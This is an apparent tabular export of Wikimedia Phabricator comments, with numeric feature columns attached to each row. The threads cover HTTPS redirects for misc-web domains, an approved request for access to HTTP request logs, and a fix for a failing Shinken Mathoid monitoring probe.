513974,let all services on misc-web enforce http->https redirects,"According to DNS, download.wikimedia.org and gerrit.wikimedia.org are not behind misc-web. Why are these two domains in misc.inc.vcl.erb?",,,1440478792,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,14.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.5,0.9545454545454546,"According to DNS, download.wikimedia.org and gerrit.wikimedia.org are not behind misc-web. Why are these two domains in misc.inc.vcl.erb?"
513961,let all services on misc-web enforce http->https redirects,">>! In T103919#1402421, @Dzahn wrote:
> left after removing svn and dev:
> 
> git.wikimedia.org
> graphite.wikimedia.org
> releases.wikimedia.org
> grafana.wikimedia.org
> datasets.wikimedia.org
> config-master.wikimedia.org
> etherpad.wikimedia.org
> parsoid-tests.wikimedia.org
> download.wikimedia.org

Should these domain names have individual Phabricator Maniphest tasks? I just went to look for a task about releases.wikimedia.org specifically.",,,1440475078,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,35.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,30.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.304347826086956,0.5434782608695652,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Should these domain names have individual Phabricator Maniphest tasks? I just went to look for a task about releases.wikimedia.org specifically."
511361,let all services on misc-web enforce http->https redirects,">>! In T103919#1406876, @Chmarkine wrote:
> stats.wikimedia.org doesn't redirect http to https. It has mixed content (T93702). Do we need to fix that first?

Yes, i think so. The problem here would be that the content is not in a repository (afaict).",,,1440033429,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,15.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.259259259259259,0.9259259259259259,"QUOTE
QUOTE

Yes, i think so. The problem here would be that the content is not in a repository (afaict)."
482905,let all services on misc-web enforce http->https redirects,stats.wikimedia.org doesn't redirect http to https. It has mixed content (T93702). Do we need to fix that first?,,,1435398996,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,8.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.9166666666666666,stats.wikimedia.org doesn't redirect http to https. It has mixed content (T93702). Do we need to fix that first?
482045,let all services on misc-web enforce http->https redirects,https://wikitech.wikimedia.org/wiki/User:Dzahn/misc-web,,,1435267898,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
482037,let all services on misc-web enforce http->https redirects,"left after removing svn and dev:

git.wikimedia.org
graphite.wikimedia.org
releases.wikimedia.org
grafana.wikimedia.org
datasets.wikimedia.org
config-master.wikimedia.org
etherpad.wikimedia.org
parsoid-tests.wikimedia.org
download.wikimedia.org

",,,1435267497,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.26923076923077,0.6923076923076923,"left after removing svn and dev:

git.wikimedia.org
graphite.wikimedia.org
releases.wikimedia.org
grafana.wikimedia.org
datasets.wikimedia.org
config-master.wikimedia.org
etherpad.wikimedia.org
parsoid-tests.wikimedia.org
download.wikimedia.org

"
103872,Grant access to HTTP request logs,"For https://phabricator.wikimedia.org/T100673, I would like to investigate the possibility of retrieving the data directly from the HTTP request logs.

It sounds like this data is available in HDFS (via stat1002), sourced from Varnish logs.  Can I get access to this?",Medium,50.0,1435251917,1435789423.0,PHID-USER-2aknafvxpqtbnnzpvtno,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_description,resolved,True,c3,2,False,False,True,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,19.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,19.0,6.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9583333333333335,0.7916666666666666,"For URL I would like to investigate the possibility of retrieving the data directly from the HTTP request logs.

It sounds like this data is available in HDFS (via stat1002), sourced from Varnish logs.  Can I get access to this?"
485232,Grant access to HTTP request logs,"With Wes's approval of rights escalation, I've gone ahead and merged the patchset.

@Jdouglas: once the hosts call in (can take up to 30 minutes or so), you should be all set.  If things aren't working, simply re-open this task and we can investigate.",,,1435789423,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,5.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.8833333333333333,"With Wes's approval of rights escalation, I've gone ahead and merged the patchset.
SCREEN_NAME: once the hosts call in (can take up to 30 minutes or so), you should be all set.  If things aren't working, simply re-open this task and we can investigate."
485230,Grant access to HTTP request logs,"Change 220990 merged by RobH:
access: grant Jdouglas access toanalytics-privatedata-users group

[[https://gerrit.wikimedia.org/r/220990]]",,,1435789330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.25,0.7916666666666666,"Change 220990 merged by RobH:
access: grant Jdouglas access toanalytics-privatedata-users group

[[GERRIT_URL]]"
485201,Grant access to HTTP request logs,Approved,,,1435787589,,PHID-USER-6t525r54vy5clky5jpys,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,Approved
483885,Grant access to HTTP request logs,Tomasz is out on family leave; bumping up to Wes.,,,1435618849,,PHID-USER-2aknafvxpqtbnnzpvtno,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.3333333333333335,1.0,Tomasz is out on family leave; bumping up to Wes.
483882,Grant access to HTTP request logs,"While the three days has passed and there is a patchset pending, this task hasn't yet received mgmt approval from his manager, which appears to be @tfinc.

As such, I've assigned this to Tomasz for his approval.

Tomasz: Once you approve, please place the task up for grabs/unassign it from yourself.  This will have it show up as unassigned and patchset pending for our ops clinic person to pick up and merge.",,,1435618781,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,2.0,0.0,3.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,1.0,2.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,8.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,9.0,16.0,2.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,1.0,2.0,1.0,0.0,0.0,3.9770114942528734,0.7011494252873564,"While the three days has passed and there is a patchset pending, this task hasn't yet received mgmt approval from his manager, which appears to beSCREEN_NAME.

As such, I've assigned this to Tomasz for his approval.

Tomasz: Once you approve, please place the task up for grabs/unassign it from yourself.  This will have it show up as unassigned and patchset pending for our ops clinic person to pick up and merge."
482094,Grant access to HTTP request logs,"Change 220990 had a related patch set uploaded (by Matanya):
access: grant Jdouglas access toanalytics-privatedata-users group

[[https://gerrit.wikimedia.org/r/220990]]
",,,1435270727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.161290322580645,0.8387096774193549,"Change 220990 had a related patch set uploaded (by Matanya):
access: grant Jdouglas access toanalytics-privatedata-users group

[[GERRIT_URL]]
"
482015,Grant access to HTTP request logs,"The webrequest logs are inherently 'private data' (they contain IP addresses etc.) so hence the name.  But, ja, you will need that to access this data, and being in this group will let you log into stat1002 and run Hive queries.",,,1435266153,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,6.0,8.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,3.6153846153846154,0.8076923076923077,"The webrequest logs are inherently 'private data' (they contain IP addresses etc.) so hence the name.  But, ja, you will need that to access this data, and being in this group will let you log into stat1002 and run Hive queries."
482012,Grant access to HTTP request logs,"If all I want to do is write Hive jobs, do I still need such high-level access, or can I get something more limited?",,,1435266039,,PHID-USER-2aknafvxpqtbnnzpvtno,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,False,,,-1,True,3.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,10.0,7.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.206896551724138,0.8620689655172413,"If all I want to do is write Hive jobs, do I still need such high-level access, or can I get something more limited?"
481862,Grant access to HTTP request logs,James is asking to be in the `analytics-privatedata-users` group.,,,1435256683,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.2,1.0,James is asking to be in the CODE group.
103595,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Is it just GETting / or something? Couldn't find the config... Production icinga checks /_info

Example of probes failing on labs against the beta cluster:

http://shinken.wmflabs.org/service/deployment-mathoid/Mathoid
http://shinken.wmflabs.org/service/deployment-sca02/Mathoid

Started falling 6 days ago.

On prod the probe seems to be work since at least 8 days:

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=sca1001&service=mathoid
https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=sca1002&service=mathoid

So maybe it is a regression in mathoid :-)",Medium,50.0,1435092147,1435327235.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-xwcetgi75tewz6khspuf,task_description,resolved,True,c3,2,True,False,True,-2,True,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,11.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,17.0,1.0,3.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,11.0,6.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,3.6857142857142855,0.8,"Is it just GETting / or something? Couldn't find the config... Production icinga checks /_info

Example of probes failing on labs against the beta cluster:

URL
URL

Started falling 6 days ago.

On prod the probe seems to be work since at least 8 days:

URL
URL

So maybe it is a regression in mathoid :-)"
482475,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,Yuvi has pressed buttons and this now seems fixed.,,,1435327270,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,Yuvi has pressed buttons and this now seems fixed.
482474,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Shinken caught up with the change (time is UTC):
```
[13:50:35]  <shinken-wm>	RECOVERY - Mathoid on deployment-mathoid is OK: HTTP OK: HTTP/1.1 200 OK - 888 bytes in 0.010 second response time
[13:51:04]  <shinken-wm>	RECOVERY - Mathoid on deployment-sca02 is OK: HTTP OK: HTTP/1.1 200 OK - 888 bytes in 0.015 second response time
```
",,,1435327235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.7777777777777778,"Shinken caught up with the change (time is UTC):
``CODE``
"
482450,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,">>! In T103595#1404602, @hashar wrote:
> It is still falling on labs Shinke
> 
> http://shinken.wmflabs.org/service/deployment-mathoid/Mathoid
> http://shinken.wmflabs.org/service/deployment-sca02/Mathoid

When I log-in there, I can't see any commands being issued at all against Mathoid. Only the //404 Not Found// error, but not associated commands. Have we missed something in the patch and now no command is being used?",,,1435324282,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,4.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,5.0,0.0,16.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,5.0,23.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,9.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.7543859649122807,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

When I log-in there, I can't see any commands being issued at all against Mathoid. Only the //404 Not Found// error, but not associated commands. Have we missed something in the patch and now no command is being used?"
482430,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"It is still falling on labs Shinke

http://shinken.wmflabs.org/service/deployment-mathoid/Mathoid
http://shinken.wmflabs.org/service/deployment-sca02/Mathoid",,,1435321745,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.3636363636363638,0.9090909090909091,"It is still falling on labs Shinke

URL
URL"
482364,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Change 220954 merged by Yuvipanda:
Fix Shinken Mathoid probe

[[https://gerrit.wikimedia.org/r/220954]]",,,1435314077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0588235294117645,0.8823529411764706,"Change 220954 merged by Yuvipanda:
Fix Shinken Mathoid probe

[[GERRIT_URL]]"
481994,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Sorry I have missed krenair comment. That works indeed:
```
$ curl http://localhost:100hashar@deployment-mathoid:~$ curl http://localhost:10042/_info
{""name"":""mathoid"",""version"":""0.2.8"",
""description"":""Render tex to SVG and MathML using MathJax. Based on svgtex."",
""home"":""https://github.com/wikimedia/mathoid""}
